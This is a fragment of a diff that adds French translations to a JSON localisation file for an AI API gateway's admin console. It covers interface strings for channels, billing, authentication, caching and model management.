+    "Disk Cache Settings": "Paramètres du cache disque",
+    "Disk Cache Threshold (MB)": "Seuil du cache disque (Mo)",
+    "Disk cache, system performance monitoring, and operation statistics": "Cache disque, surveillance des performances système et statistiques opérationnelles",
+    "Disk Hits": "Hits disque",
+    "Disk Threshold (%)": "Seuil disque (%)",
+    "Display in Currency": "Afficher en devise",
+    "Display Mode": "Mode d'affichage",
+    "Display name": "Nom d'affichage",
+    "Display Name": "Nom d'affichage",
+    "Display name and email used in outgoing messages": "Nom d'affichage et e-mail utilisés dans les messages sortants",
+    "Display Name Field": "Champ de nom d'affichage",
+    "Display name for this chat client.": "Nom d'affichage pour ce client de chat.",
+    "Display name for this monitoring group (max 50 characters)": "Nom d'affichage pour ce groupe de surveillance (50 caractères max)",
+    "Display name for this payment method.": "Nom d'affichage pour ce mode de paiement.",
+    "Display name shown to users.": "Nom d'affichage affiché aux utilisateurs.",
+    "Display Options": "Options d'affichage",
+    "Display Token Statistics": "Afficher les statistiques des jetons",
+    "Displays the mobile sidebar.": "Affiche la barre latérale mobile.",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "Ne faites pas trop confiance à cette fonctionnalité. L'IP peut être usurpée. Veuillez l'utiliser avec nginx, CDN et autres passerelles.",
+    "Do not repeat check-in; only once per day": "Ne répétez pas le check-in ; une seule fois par jour",
+    "Docs": "Documents",
+    "Documentation Link": "Lien de la documentation",
+    "Documentation or external knowledge base.": "Documentation ou base de connaissances externe.",
+    "does not exist or might have been removed.": "n'existe pas ou a peut-être été supprimé.",
+    "Domain": "Domaine",
+    "Domain Filter Mode": "Mode de filtre de domaine",
+    "Don't have an account?": "Vous n'avez pas de compte ?",
+    "Done": "Terminé",
+    "Doubao Coding Plan": "Plan Doubao Coding",
+    "Doubao custom API address editing unlocked": "Édition d'adresse API personnalisée Doubao déverrouillée",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "Vérifiez la configuration ci-dessous. Votre système sera verrouillé jusqu'à ce que l'initialisation soit terminée.",
+    "Download": "Télécharger",
+    "Draw": "Dessin",
+    "Drawing": "Dessin",
+    "Drawing logs": "Journaux de dessin",
+    "Drawing Logs": "Journaux de dessin",
+    "Drawing task records": "Historique des tâches de dessin",
+    "Duplicate": "Dupliquer",
+    "Duration": "Durée",
+    "Duration (hours)": "Durée (heures)",
+    "Duration Settings": "Paramètres de durée",
+    "Duration Unit": "Unité de durée",
+    "Duration Value": "Valeur de durée",
+    "Dynamic Pricing": "Tarification dynamique",
+    "e.g. ¥ or HK$": "par ex. ¥ ou HK$",
+    "e.g. 401, 403, 429, 500-599": "ex. 401, 403, 429, 500-599",
+    "e.g. 8 means 1 USD = 8 units": "par ex. 8 signifie 1 USD = 8 unités",
+    "e.g. Basic Plan": "ex. Plan de base",
+    "e.g. example.com": "par ex. example.com",
+    "e.g. llama3.1:8b": "p. ex. llama3.1:8b",
+    "e.g. My GitLab": "par ex. Mon GitLab",
+    "e.g. my-gitlab": "par ex. mon-gitlab",
+    "e.g. New API Console": "par ex. console New API",
+    "e.g. openid profile email": "par ex. openid profile email",
+    "e.g. Suitable for light usage": "ex. Adapté à une utilisation légère",
+    "e.g., 0.95": "par ex., 0.95",
+    "e.g., 100": "par ex., 100",
+    "e.g., 123456": "par ex., 123456",
+    "e.g., 2025-04-01-preview": "par ex., 2025-04-01-preview",
+    "e.g., 50": "par ex., 50",
+    "e.g., 500000": "p. ex., 500000",
+    "e.g., 7342866812345": "par ex., 7342866812345",
+    "e.g., 8 means 8 local currency per USD": "par ex., 8 signifie 8 unités de monnaie locale par USD",
+    "e.g., Alipay, WeChat": "par ex., Alipay, WeChat",
+    "e.g., Basic Package": "p. ex., Forfait de base",
+    "e.g., CN2 GIA": "par ex., CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "par ex., API principales, OpenAI, Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "par ex., d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "par ex., par défaut, vip, premium",
+    "e.g., gpt-4, claude-3": "ex. gpt-4, claude-3",
+    "e.g., https://api.example.com (path before /suno)": "par ex., https://api.example.com (chemin avant /suno)",
+    "e.g., https://api.openai.com/v1/chat/completions": "par ex., https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "p. ex., https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "par ex., https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "par ex., https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "p. ex., OpenAI GPT-4 Production",
+    "e.g., preview": "par ex., prévisualisation",
+    "e.g., prod_xxx": "p. ex., prod_xxx",
+    "e.g., Recommended for China Mainland Users": "par ex., Recommandé pour les utilisateurs de Chine continentale",
+    "e.g., us-central1 or JSON format for model-specific regions": "par ex., us-central1 ou format JSON pour les régions spécifiques au modèle",
+    "e.g., v2.1": "par ex., v2.1",
+    "Each backup code can only be used once.": "Chaque code de sauvegarde ne peut être utilisé qu'une seule fois.",
+    "Each item must be an object with a single key-value pair.": "Chaque élément doit être un objet avec une seule paire clé-valeur.",
+    "Each item must have exactly one key-value pair.": "Chaque élément doit avoir exactement une paire clé-valeur.",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "Chaque ligne représente un mot-clé. Laissez vide pour désactiver la liste mais conserver les états des interrupteurs.",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "Chaque palier accepte 0 à 2 conditions (sur len, p, c) ; le dernier palier est le filet de sécurité sans condition. Utilisez len (longueur d'entrée complète, y compris les cache hits) pour les conditions de palier afin d'éviter les routages erronés lorsque les cache hits réduisent p.",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "Gagnez des récompenses lorsque vos filleuls ajoutent des fonds. Transférez les récompenses accumulées à votre solde à tout moment.",
+    "Edit": "Modifier",
+    "Edit {{title}}": "Modifier {{title}}",
+    "Edit all channels with tag:": "Modifier tous les canaux avec l'étiquette :",
+    "Edit Announcement": "Modifier l'annonce",
+    "Edit API Shortcut": "Modifier le raccourci API",
+    "Edit Channel": "Modifier le canal",
+    "Edit chat preset": "Modifier le préréglage de chat",
+    "Edit discount tier": "Modifier le palier de remise",
+    "Edit FAQ": "Modifier la FAQ",
+    "Edit group rate limit": "Modifier la limite de taux de groupe",
+    "Edit model": "Modifier le modèle",
+    "Edit Model": "Modifier le modèle",
+    "Edit OAuth Provider": "Modifier le fournisseur OAuth",
+    "Edit payment method": "Modifier le mode de paiement",
+    "Edit Prefill Group": "Modifier le groupe de préremplissage",
+    "Edit product": "Modifier le produit",
+    "Edit ratio override": "Modifier le remplacement de ratio",
+    "Edit Rule": "Modifier la règle",
+    "Edit selectable group": "Modifier le groupe sélectionnable",
+    "Edit Tag": "Modifier l'étiquette",
+    "Edit Tag:": "Modifier l'étiquette :",
+    "Edit Uptime Kuma Group": "Modifier le groupe Uptime Kuma",
+    "Edit Vendor": "Modifier le fournisseur",
+    "edit_this": "modifier_ceci",
+    "Editor mode": "Mode éditeur",
+    "Email": "E-mail",
+    "Email (required for verification)": "E-mail (requis pour la vérification)",
+    "Email Address": "Adresse e-mail",
+    "Email Alias Restriction": "Restriction d'alias d'e-mail",
+    "Email bound successfully!": "E-mail lié avec succès !",
+    "Email Domain Restriction": "Restriction de domaine d'e-mail",
+    "Email Domain Whitelist": "Liste blanche de domaines d'e-mail",
+    "Email Field": "Champ d'e-mail",
+    "Email Verification": "Vérification d'e-mail",
+    "Embeddings": "Embeddings",
+    "Empty value will be saved as {}.": "Une valeur vide sera enregistrée comme {}.",
+    "Enable": "Activer",
+    "Enable 2FA": "Activer 2FA",
+    "Enable All": "Tout activer",
+    "Enable check-in feature": "Activer la fonction de connexion",
+    "Enable Data Dashboard": "Activer le tableau de bord des données",
+    "Enable demo mode with limited functionality": "Activer le mode démo avec des fonctionnalités limitées",
+    "Enable Discord OAuth": "Activer OAuth Discord",
+    "Enable Disk Cache": "Activer le cache disque",
+    "Enable drawing features": "Activer les fonctionnalités de dessin",
+    "Enable filtering": "Activer le filtrage",
+    "Enable FunctionCall thoughtSignature Fill": "Activer le remplissage de thoughtSignature pour FunctionCall",
+    "Enable GitHub OAuth": "Activer GitHub OAuth",
+    "Enable Groups": "Activer les groupes",
+    "Enable if this is an OpenRouter enterprise account with special response format": "Activer si c'est un compte d'entreprise OpenRouter avec un format de réponse spécial",
+    "Enable io.net deployments": "Activer les déploiements io.net",
+    "Enable io.net model deployment service in console": "Activer le service de déploiement de modèles io.net dans la console",
+    "Enable LinuxDO OAuth": "Activer LinuxDO OAuth",
+    "Enable OIDC": "Activer OIDC",
+    "Enable or disable this channel": "Activer ou désactiver ce canal",
+    "Enable or disable this model": "Activer ou désactiver ce modèle",
+    "Enable or disable top navigation modules globally.": "Activer ou désactiver globalement les modules de navigation supérieure.",
+    "Enable Passkey": "Activer Passkey",
+    "Enable Performance Monitoring": "Activer la surveillance des performances",
+    "Enable rate limiting": "Activer la limitation de débit",
+    "Enable Request Passthrough": "Activer le Passthrough de requêtes",
+    "Enable selected channels": "Activer les canaux sélectionnés",
+    "Enable selected models": "Activer les modèles sélectionnés",
+    "Enable SSL/TLS": "Activer SSL/TLS",
+    "Enable SSRF Protection": "Activer la protection SSRF",
+    "Enable streaming mode for the test request.": "Activer le mode streaming pour la requête de test.",
+    "Enable Telegram OAuth": "Activer Telegram OAuth",
+    "Enable test mode for Creem payments": "Activer le mode test pour les paiements Creem",
+    "Enable this key?": "Activer cette clé ?",
+    "Enable Turnstile": "Activer Turnstile",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "Activez l'authentification à deux facteurs ou Passkey dans votre profil pour déverrouiller les opérations sensibles.",
+    "Enable unlimited quota for this API key": "Activer le quota illimité pour cette clé API",
+    "Enable violation deduction": "Activer la déduction pour violation",
+    "Enable Waffo": "Activer Waffo",
+    "Enable Waffo Pancake": "Activer Waffo Pancake",
+    "Enable WeChat Auth": "Activer l'authentification WeChat",
+    "Enable when proxying workers that fetch images over HTTP.": "Activer lors de la mise en proxy des workers qui récupèrent des images via HTTP.",
+    "Enabled": "Activé",
+    "Enabled all channels with tag: {{tag}}": "Tous les canaux avec le tag {{tag}} ont été activés",
+    "Enabled Status": "Statut activé",
+    "Enabling...": "Activation en cours...",
+    "End": "End",
+    "End Error": "Erreur finale",
+    "End Reason": "Raison de fin",
+    "End Time": "Heure de fin",
+    "Endpoint": "Point d'accès",
+    "Endpoint config": "Configuration de l'endpoint",
+    "Endpoint Configuration": "Configuration du point de terminaison",
+    "Endpoint Type": "Type de point de terminaison",
+    "Endpoint:": "Point de terminaison :",
+    "Endpoints": "Points de terminaison",
+    "English": "Anglais",
+    "Ensure Prefix": "Assurer le préfixe",
+    "Ensure Suffix": "Assurer le suffixe",
+    "Enter 6-digit code": "Saisir le code à 6 chiffres",
+    "Enter a name": "Saisir un nom",
+    "Enter a new name": "Entrez un nouveau nom",
+    "Enter a positive or negative amount to adjust the quota": "Saisir un montant positif ou négatif pour ajuster le quota",
+    "Enter a valid email or leave blank": "Entrez un e-mail valide ou laissez vide",
+    "Enter a value and press Enter": "Saisir une valeur et appuyer sur Entrée",
+    "Enter amount in {{currency}}": "Entrez le montant en {{currency}}",
+    "Enter amount in tokens": "Entrez le montant en tokens",
+    "Enter announcement content (supports Markdown & HTML)": "Saisir le contenu de l'annonce (prend en charge Markdown et HTML)",
+    "Enter announcement content (supports Markdown/HTML)": "Saisir le contenu de l'annonce (prend en charge Markdown/HTML)",
+    "Enter API Key": "Saisir la clé API",
+    "Enter API Key, format: APIKey|Region": "Entrez la clé API, format : APIKey|Region",
+    "Enter API Key, one per line, format: APIKey|Region": "Entrez la clé API, une par ligne, format : APIKey|Region",
+    "Enter application token": "Saisir le jeton d'application",
+    "Enter authenticator code": "Saisir le code de l'authentificateur",
+    "Enter backup code (e.g., CAWD-OQDV)": "Saisir le code de secours (par exemple, CAWD-OQDV)",
+    "Enter code": "Saisir le code",
+    "Enter code or backup code": "Saisir le code ou le code de secours",
+    "Enter Completion price to calculate ratio": "Saisir le prix Completion pour calculer le ratio",
+    "Enter Creem API key": "Saisir la clé API Creem",
+    "Enter custom API endpoint URL": "Saisir l'URL du point de terminaison API personnalisé",
+    "Enter deployment region or JSON mapping:": "Saisir la région de déploiement ou le mappage JSON :",
+    "Enter display name": "Saisir le nom d'affichage",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "Saisissez le code HTML (par exemple, <p>À propos de nous...</p>) ou une URL (par exemple, https://example.com) à intégrer en tant qu'iframe",
+    "Enter Input price to calculate ratio": "Saisir le prix Input pour calculer le ratio",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "Entrez la clé, format : AccessKey|SecretAccessKey|Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "Entrez la clé, une par ligne, format : AccessKey|SecretAccessKey|Region",
+    "Enter model name": "Entrez le nom du modèle",
+    "Enter new key to update": "Saisir la nouvelle clé à mettre à jour",
+    "Enter new key to update, or leave empty to keep current key": "Saisir la nouvelle clé à mettre à jour, ou laisser vide pour conserver la clé actuelle",
+    "Enter new tag name (leave empty to disband tag)": "Saisir le nouveau nom de tag (laisser vide pour dissoudre le tag)",
+    "Enter new tag name or leave empty": "Saisir le nouveau nom de tag ou laisser vide",
+    "Enter new token to update": "Saisir le nouveau token à mettre à jour",
+    "Enter one API key per line for batch creation": "Saisissez une clé API par ligne pour la création par lots",
+    "Enter one key per line for batch creation": "Saisissez une clé par ligne pour la création par lots",
+    "Enter one keyword per line": "Saisir un mot-clé par ligne",
+    "Enter password": "Saisir le mot de passe",
+    "Enter password (8-20 characters)": "Saisir le mot de passe (8-20 caractères)",
+    "Enter password (min 8 characters)": "Entrez le mot de passe (min. 8 caractères)",
+    "Enter quota in {{currency}}": "Saisir le quota en {{currency}}",
+    "Enter quota in tokens": "Saisir le quota en tokens",
+    "Enter secret key": "Saisir la clé secrète",
+    "Enter system prompt (user prompt takes priority)": "Saisir l'invite système (l'invite utilisateur est prioritaire)",
+    "Enter tag name (optional)": "Saisir le nom du tag (facultatif)",
+    "Enter the 6-digit code from your authenticator app": "Saisir le code à 6 chiffres de votre application d'authentification",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "Saisir le mot de passe à usage unique basé sur le temps à 6 chiffres ou le code de secours à 8 caractères de votre application d'authentification.",
+    "Enter the complete URL, supports": "Saisir l'URL complète, prend en charge",
+    "Enter the Coze agent ID": "Saisir l'ID de l'agent Coze",
+    "Enter the full URL of your Gotify server": "Saisir l'URL complète de votre serveur Gotify",
+    "Enter the knowledge base ID": "Saisir l'ID de la base de connaissances",
+    "Enter the path before /suno, usually just the domain": "Saisir le chemin avant /suno, généralement juste le domaine",
+    "Enter the quota amount in {{currency}}": "Entrez le montant du quota en {{currency}}",
+    "Enter the quota amount in tokens": "Saisir le montant du quota en tokens",
+    "Enter the verification code": "Saisir le code de vérification",
+    "Enter threshold": "Saisir le seuil",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "Saisissez le nombre de tokens pour estimer le coût (hors multiplicateurs de groupe).",
+    "Enter URL...": "Saisir l'URL...",
+    "Enter username": "Saisir le nom d'utilisateur",
+    "Enter verification code": "Saisir le code de vérification",
+    "Enter webhook secret": "Saisir le secret du webhook",
+    "Enter your authenticator code or a backup code": "Saisir votre code d'authentification ou un code de secours",
+    "Enter your email": "Saisir votre e-mail",
+    "Enter your redemption code": "Saisir votre code de rachat",
+    "Enter your registered email and we will send you a link to reset your password.": "Saisir votre e-mail enregistré et nous vous enverrons un lien pour réinitialiser votre mot de passe.",
+    "Enter your username": "Saisir votre nom d'utilisateur",
+    "Enter your username or email": "Saisir votre nom d'utilisateur ou votre e-mail",
+    "Enterprise Account": "Compte d'entreprise",
+    "Enterprise-grade security with comprehensive permission management": "Sécurité de niveau entreprise avec gestion complète des autorisations",
+    "Entrypoint (space separated)": "Point d'entrée (séparés par des espaces)",
+    "Env (JSON object)": "Env (objet JSON)",
+    "Environment variables": "Variables d'environnement",
+    "Environment variables (JSON)": "Variables d'environnement (JSON)",
+    "Epay endpoint": "Endpoint Epay",
+    "Epay Gateway": "Passerelle Epay",
+    "Epay merchant ID": "ID marchand Epay",
+    "Epay secret key": "Clé secrète Epay",
+    "Error": "Erreur",
+    "Error Message": "Message d'erreur",
+    "Estimated cost": "Coût estimé",
+    "Estimated quota cost": "Coût de quota estimé",
+    "Exact": "Exact",
+    "Exact Match": "Correspondance exacte",
+    "Example": "Exemple",
+    "Example (all channels):": "Exemple (tous les canaux) :",
+    "Example (specific channels):": "Exemple (canaux spécifiques) :",
+    "Example:": "Exemple :",
+    "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+    "example.com&#10;company.com": "example.com&#10;company.com",
+    "Excellent": "Excellent",
+    "Exchange rate is required": "Le taux de change est requis",
+    "Exchange rate must be greater than 0": "Le taux de change doit être supérieur à 0",
+    "Exhausted": "Épuisé",
+    "Existing account will be reused": "Le compte existant sera réutilisé",
+    "Existing Models ({{count}})": "Modèles existants ({{count}})",
+    "Exists": "Existe",
+    "Expected a JSON array.": "Un tableau JSON est attendu.",
+    "Experiment with prompts and models in real time.": "Expérimentez avec des prompts et des modèles en temps réel.",
+    "Expiration Time": "Heure d'expiration",
+    "expired": "expiré",
+    "Expired": "Expiré",
+    "Expired at": "Expiré le",
+    "Expired time cannot be earlier than current time": "L'heure d'expiration ne peut pas être antérieure à l'heure actuelle",
+    "Expires": "Expire",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "Exposer les pages d'état groupées d'Uptime Kuma directement sur le tableau de bord",
+    "Expose ratio API": "Exposer l'API de ratio",
+    "Exposes the pricing/models catalog in the top navigation.": "Expose le catalogue des prix/modèles dans la navigation supérieure.",
+    "Expression billing": "Facturation par expression",
+    "Expression editor": "Éditeur d’expression",
+    "Expression error": "Erreur d’expression",
+    "Extend": "Prolonger",
+    "Extend deployment": "Prolonger le déploiement",
+    "Extend failed": "Échec de la prolongation",
+    "Extended successfully": "Prolongé avec succès",
+    "External Device": "Appareil externe",
+    "External link for users to purchase quota": "Lien externe permettant aux utilisateurs d'acheter du quota",
+    "External operations": "Opérations externes",
+    "External operations mode": "Mode opérations externes",
+    "External Speed Test": "Test de vitesse externe",
+    "Extra": "Supplémentaire",
+    "Extra Notes (Optional)": "Notes supplémentaires (facultatif)",
+    "Fail Reason": "Raison de l'échec",
+    "Fail Reason Details": "Détails de la raison de l'échec",
+    "Failed": "Échec",
+    "Failed to {{action}} user": "Échec de l'action {{action}} sur l'utilisateur",
+    "Failed to adjust quota": "Échec de l'ajustement du quota",
+    "Failed to apply overwrite.": "Échec de l'application de l'écrasement.",
+    "Failed to bind email": "Échec de la liaison de l'e-mail",
+    "Failed to change password": "Échec du changement de mot de passe",
+    "Failed to check for updates": "Échec de la vérification des mises à jour",
+    "Failed to clean logs": "Échec du nettoyage des journaux",
+    "Failed to complete order": "Échec de la finalisation de la commande",
+    "Failed to complete Passkey login": "Impossible de terminer la connexion Passkey",
+    "Failed to contact GitHub releases API": "Impossible de contacter l'API GitHub Releases",
+    "Failed to copy": "Échec de la copie",
+    "Failed to copy channel": "Échec de la copie du canal",
+    "Failed to copy keys": "Échec de la copie des clés",
+    "Failed to copy model names": "Échec de la copie des noms de modèles",
+    "Failed to copy to clipboard": "Échec de la copie dans le presse-papiers",
+    "Failed to create API key": "Échec de la création de la clé API",
+    "Failed to create channel": "Échec de la création du canal",
+    "Failed to create deployment": "Échec de la création du déploiement",
+    "Failed to create provider": "Échec de la création du fournisseur",
+    "Failed to create redemption code": "Échec de la création du code d'échange",
+    "Failed to create user": "Échec de la création de l'utilisateur",
+    "Failed to delete {{count}} model(s)": "Échec de la suppression de {{count}} modèle(s)",
+    "Failed to delete account": "Échec de la suppression du compte",
+    "Failed to delete API key": "Échec de la suppression de la clé API",
+    "Failed to delete API keys": "Échec de la suppression des Clés API",
+    "Failed to delete channel": "Échec de la suppression du canal",
+    "Failed to delete disabled channels": "Échec de la suppression des canaux désactivés",
+    "Failed to delete invalid redemption codes": "Échec de la suppression des codes d'échange invalides",
+    "Failed to delete model": "Échec de la suppression du modèle",
+    "Failed to delete provider": "Échec de la suppression du fournisseur",
+    "Failed to delete redemption code": "Échec de la suppression du code d'échange",
+    "Failed to delete user": "Échec de la suppression de l'utilisateur",
+    "Failed to delete vendor": "Échec de la suppression du fournisseur",
+    "Failed to disable {{count}} model(s)": "Échec de la désactivation de {{count}} modèle(s)",
+    "Failed to disable 2FA": "Échec de la désactivation de la 2FA",
+    "Failed to disable channels": "Échec de la désactivation des canaux",
+    "Failed to disable model": "Échec de la désactivation du modèle",
+    "Failed to disable tag channels": "Échec de la désactivation des canaux de tags",
+    "Failed to discover OIDC endpoints": "Échec de la découverte des points de terminaison OIDC",
+    "Failed to enable {{count}} model(s)": "Échec de l'activation de {{count}} modèle(s)",
+    "Failed to enable 2FA": "Échec de l'activation de 2FA",
+    "Failed to enable channels": "Échec de l'activation des canaux",
+    "Failed to enable model": "Échec de l'activation du modèle",
+    "Failed to enable tag channels": "Échec de l'activation des canaux de tags",
+    "Failed to fetch checkin status": "Échec de la récupération du statut d'enregistrement",
+    "Failed to fetch deployment details": "Impossible de récupérer les détails du déploiement",
+    "Failed to fetch models": "Échec de la récupération des modèles",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "Échec de la récupération de la configuration OIDC. Veuillez vérifier l'URL et le statut du réseau",
+    "Failed to fetch upstream prices": "Échec de la récupération des prix amont",
+    "Failed to fetch upstream ratios": "Échec de la récupération des ratios en amont",
+    "Failed to fetch usage": "Échec de la récupération de l'utilisation",
+    "Failed to fetch user information": "Échec de la récupération des informations utilisateur",
+    "Failed to fix abilities": "Échec de la correction des capacités",
+    "Failed to generate token": "Échec de la génération du jeton",
+    "Failed to initialize OAuth": "Échec de l'initialisation d'OAuth",
+    "Failed to initialize system": "Échec de l'initialisation du système",
+    "Failed to load": "Échec du chargement",
+    "Failed to load API keys": "Échec du chargement des Clés API",
+    "Failed to load billing history": "Échec du chargement de l'historique de facturation",
+    "Failed to load home page content": "Échec du chargement du contenu de la page d'accueil",
+    "Failed to load image": "Échec du chargement de l'image",
+    "Failed to load logs": "Échec du chargement des journaux",
+    "Failed to load Passkey status": "Échec du chargement du statut Passkey",
+    "Failed to load profile": "Échec du chargement du profil",
+    "Failed to load redemption codes": "Échec du chargement des codes d'échange",
+    "Failed to load setup data": "Échec du chargement des données de configuration",
+    "Failed to load setup status": "Échec du chargement de l'état de configuration",
+    "Failed to load tag data": "Échec du chargement des données de tags",
+    "Failed to load users": "Échec du chargement des utilisateurs",
+    "Failed to parse group items": "Échec de l'analyse des éléments de groupe",
+    "Failed to parse JSON file: {{name}}": "Échec de l'analyse du fichier JSON : {{name}}",
+    "Failed to query balance": "Échec de la requête de solde",
+    "Failed to refresh cache stats": "Échec de l'actualisation des statistiques de cache",
+    "Failed to regenerate backup codes": "Échec de la régénération des codes de sauvegarde",
+    "Failed to register Passkey": "Échec de l'enregistrement du Passkey",
+    "Failed to remove Passkey": "Échec de la suppression de la Passkey",
+    "Failed to reset 2FA": "Échec de la réinitialisation de la 2FA",
+    "Failed to reset model ratios": "Échec de la réinitialisation des ratios du modèle",
+    "Failed to reset Passkey": "Échec de la réinitialisation de la Passkey",
+    "Failed to save": "Échec de la sauvegarde",
+    "Failed to save announcements": "Échec de la sauvegarde des annonces",
+    "Failed to save API info": "Échec de l'enregistrement des informations API",
+    "Failed to save FAQ": "Échec de la sauvegarde de la FAQ",
+    "Failed to save Uptime Kuma groups": "Échec de la sauvegarde des groupes Uptime Kuma",
+    "Failed to search API keys": "Échec de la recherche des Clés API",
+    "Failed to search redemption codes": "Échec de la recherche des codes d'échange",
+    "Failed to search users": "Échec de la recherche des utilisateurs",
+    "Failed to send verification code": "Échec de l'envoi du code de vérification",
+    "Failed to set tag": "Échec de la définition de l'étiquette",
+    "Failed to setup 2FA": "Échec de la configuration de 2FA",
+    "Failed to start {{provider}} login": "Échec du démarrage de la connexion {{provider}}",
+    "Failed to start Discord login": "Échec du démarrage de la connexion Discord",
+    "Failed to start GitHub login": "Échec du démarrage de la connexion GitHub",
+    "Failed to start LinuxDO login": "Échec du démarrage de la connexion LinuxDO",
+    "Failed to start OIDC login": "Échec du démarrage de la connexion OIDC",
+    "Failed to start Passkey login": "Impossible de démarrer la connexion Passkey",
+    "Failed to start Passkey registration": "Échec du démarrage de l'enregistrement de la Passkey",
+    "Failed to start testing all channels": "Échec du démarrage du test de tous les canaux",
+    "Failed to sync prices": "Échec de la synchronisation des prix",
+    "Failed to sync ratios": "Échec de la synchronisation des ratios",
+    "Failed to test all channels": "Échec du test de tous les canaux",
+    "Failed to test channel": "Échec du test du canal",
+    "Failed to update all balances": "Échec de la mise à jour de tous les soldes",
+    "Failed to update API key": "Échec de la mise à jour de la Clé API",
+    "Failed to update API key status": "Échec de la mise à jour du statut de la Clé API",
+    "Failed to update balance": "Échec de la mise à jour du solde",
+    "Failed to update channel": "Échec de la mise à jour du canal",
+    "Failed to update models": "Échec de la mise à jour des modèles",
+    "Failed to update profile": "Échec de la mise à jour du profil",
+    "Failed to update provider": "Échec de la mise à jour du fournisseur",
+    "Failed to update redemption code": "Échec de la mise à jour du code de rachat",
+    "Failed to update redemption code status": "Échec de la mise à jour du statut du code de rachat",
+    "Failed to update setting": "Échec de la mise à jour du paramètre",
+    "Failed to update settings": "Échec de la mise à jour des paramètres",
+    "Failed to update tag": "Échec de la mise à jour de l'étiquette",
+    "Failed to update user": "Échec de la mise à jour de l'utilisateur",
+    "Failure keywords": "Mots-clés d'échec",
+    "Fair": "Correct",
+    "FAQ": "FAQ",
+    "FAQ added. Click \"Save Settings\" to apply.": "FAQ ajouté. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "FAQ supprimé. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "FAQ saved successfully": "FAQ enregistré avec succès",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ mis à jour. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "FastGPT": "FastGPT",
+    "Feature in development": "Fonctionnalité en développement",
+    "Fee": "Frais",
+    "Fee Amount": "Montant des frais",
+    "Fetch available models for:": "Récupérer les modèles disponibles pour :",
+    "Fetch from Upstream": "Récupérer depuis l'amont",
+    "Fetch Models": "Récupérer les modèles",
+    "Fetched {{count}} model(s) from upstream": "{{count}} modèle(s) récupéré(s) depuis l'amont",
+    "Fetched {{count}} models": "{{count}} modèles récupérés",
+    "Fetching prefill groups...": "Récupération des groupes de préremplissage...",
+    "Fetching upstream prices...": "Récupération des prix amont...",
+    "Fetching upstream ratios...": "Récupération des ratios amont...",
+    "field": "champ",
+    "Field Mapping": "Mappage de champs",
+    "Field passthrough controls": "Contrôles de transmission des champs",
+    "File Search": "Recherche de fichiers",
+    "Files to Retain": "Fichiers à conserver",
+    "Fill All Models": "Remplir tous les modèles",
+    "Fill Codex CLI / Claude CLI Templates": "Remplir les modèles Codex CLI / Claude CLI",
+    "Fill example (all channels)": "Remplir l'exemple (tous les canaux)",
+    "Fill example (specific channels)": "Remplir l'exemple (canaux spécifiques)",
+    "Fill in the following info to create a new subscription plan": "Remplissez les informations suivantes pour créer un nouveau plan d'abonnement",
+    "Fill Related Models": "Remplir les modèles associés",
+    "Fill Template": "Remplir le modèle",
+    "Fill Templates": "Remplir les modèles",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "Remplit thoughtSignature uniquement pour les canaux Gemini/Vertex utilisant le format OpenAI",
+    "Filled {{count}} model(s)": "{{count}} modèle(s) rempli(s)",
+    "Filled {{count}} related model(s)": "{{count}} modèle(s) associé(s) rempli(s)",
+    "Filter": "Filtre",
+    "Filter by channel ID": "Filtrer par ID de canal",
+    "Filter by group": "Filtrer par groupe",
+    "Filter by Midjourney task ID": "Filtrer par ID de tâche Midjourney",
+    "Filter by model name...": "Filtrer par nom du modèle...",
+    "Filter by model...": "Filtrer par modèle...",
+    "Filter by name or ID...": "Filtrer par nom ou ID...",
+    "Filter by name or key...": "Filtrer par nom ou clé...",
+    "Filter by name, ID, or key...": "Filtrer par nom, ID ou clé...",
+    "Filter by price field": "Filtrer par champ de prix",
+    "Filter by ratio type": "Filtrer par type de ratio",
+    "Filter by request ID": "Filtrer par ID de requête",
+    "Filter by task ID": "Filtrer par ID de tâche",
+    "Filter by token name": "Filtrer par nom de jeton",
+    "Filter by username": "Filtrer par nom d'utilisateur",
+    "Filter by username, name or email...": "Filtrer par nom d'utilisateur, nom ou e-mail...",
+    "Filter Dashboard Models": "Filtrer les modèles du tableau de bord",
+    "Filter models by type, endpoint, vendor, group and tags": "Filtrer les modèles par type, point d'accès, fournisseur, groupe et tags",
+    "Filter models...": "Filtrer les modèles...",
+    "Filter...": "Filtrer...",
+    "Filters": "Filtres",
+    "Final Consumed": "Consommation finale",
+    "Final cost = base × multiplier when conditions match": "Coût final = base × multiplicateur lorsque les conditions correspondent",
+    "Final price multiplier (0.95 = 5% discount": "Multiplicateur de prix final (0.95 = 5% de réduction",
+    "Fine-tune Midjourney integration and guardrails.": "Affiner l'intégration et les garde-fous de Midjourney.",
+    "Finish Time": "Heure de fin",
+    "First/Last Frame to Video": "Première/Dernière image vers vidéo",
